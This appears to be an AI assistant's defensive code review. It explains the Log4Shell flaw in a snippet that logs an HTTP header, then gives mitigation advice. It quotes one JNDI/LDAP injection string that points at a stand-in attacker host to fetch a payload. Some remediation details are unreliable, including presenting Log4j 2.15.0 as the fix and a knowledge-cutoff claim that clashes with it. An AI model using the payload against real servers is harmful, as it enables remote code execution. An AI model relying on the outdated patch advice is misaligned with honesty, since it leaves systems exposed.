The code you provided has a critical vulnerability related to Log4j, which became widely known as the "Log4Shell" vulnerability (CVE-2021-44228).

Security Vulnerability:

1. **Log4j Remote Code Execution (RCE) Vulnerability**:

   - The code logs the value of the `X-Api-Version` header directly using Log4j's `log.info()`. If the application is using a vulnerable version of Log4j (versions before 2.15.0), an attacker can exploit the Log4j RCE vulnerability by sending a specially crafted `X-Api-Version` header value.

   - For instance, by setting the header to `${jndi:ldap://some-attacker.com/a}`, an attacker can make the application retrieve a malicious payload from `some-attacker.com` via LDAP, leading to remote code execution on the application server.

   - This vulnerability has a high impact because it allows for arbitrary code execution on the affected server.

2. **Information Disclosure and Potential Cross-site Scripting (XSS)**:

   - The value of the `X-Api-Version` header is directly echoed back in the response without sanitization. While the primary concern with this code is the Log4j vulnerability, echoing back user-provided data can lead to web cache poisoning or, if rendered directly in a browser, XSS attacks.

Recommendations:

1. **Update Log4j to a Patched Version**:

   - Update to Log4j version 2.15.0 or newer, which contains a fix for this RCE vulnerability. Note that as of my last update (September 2021), 2.15.0 was the version that addressed this issue. However, there may be newer versions available with further security enhancements. Always opt for the latest stable version if possible.

2. **Disable Log4j Message Lookups**:

   - If updating immediately isn't an option, you can mitigate the vulnerability by disabling Log4j message lookups by setting the system property `log4j2.formatMsgNoLookups` to `true`. This can be done on the command line with the JVM argument `-Dlog4j2.formatMsgNoLookups=true`.

3. **Network-Level Mitigation**:

   - Consider blocking or monitoring outbound network traffic from your applications to unexpected destinations, such as LDAP or RMI ports, to catch exploitation attempts.

4. **Sanitize Input**:

   - Always sanitize and validate user input before processing. Avoid directly reflecting user input in HTTP responses without proper sanitization.

The Log4Shell vulnerability in Log4j was one of the most critical vulnerabilities discovered in recent times because of its widespread use in Java applications and the ease of exploitation. Ensure you take immediate steps to mitigate the risks.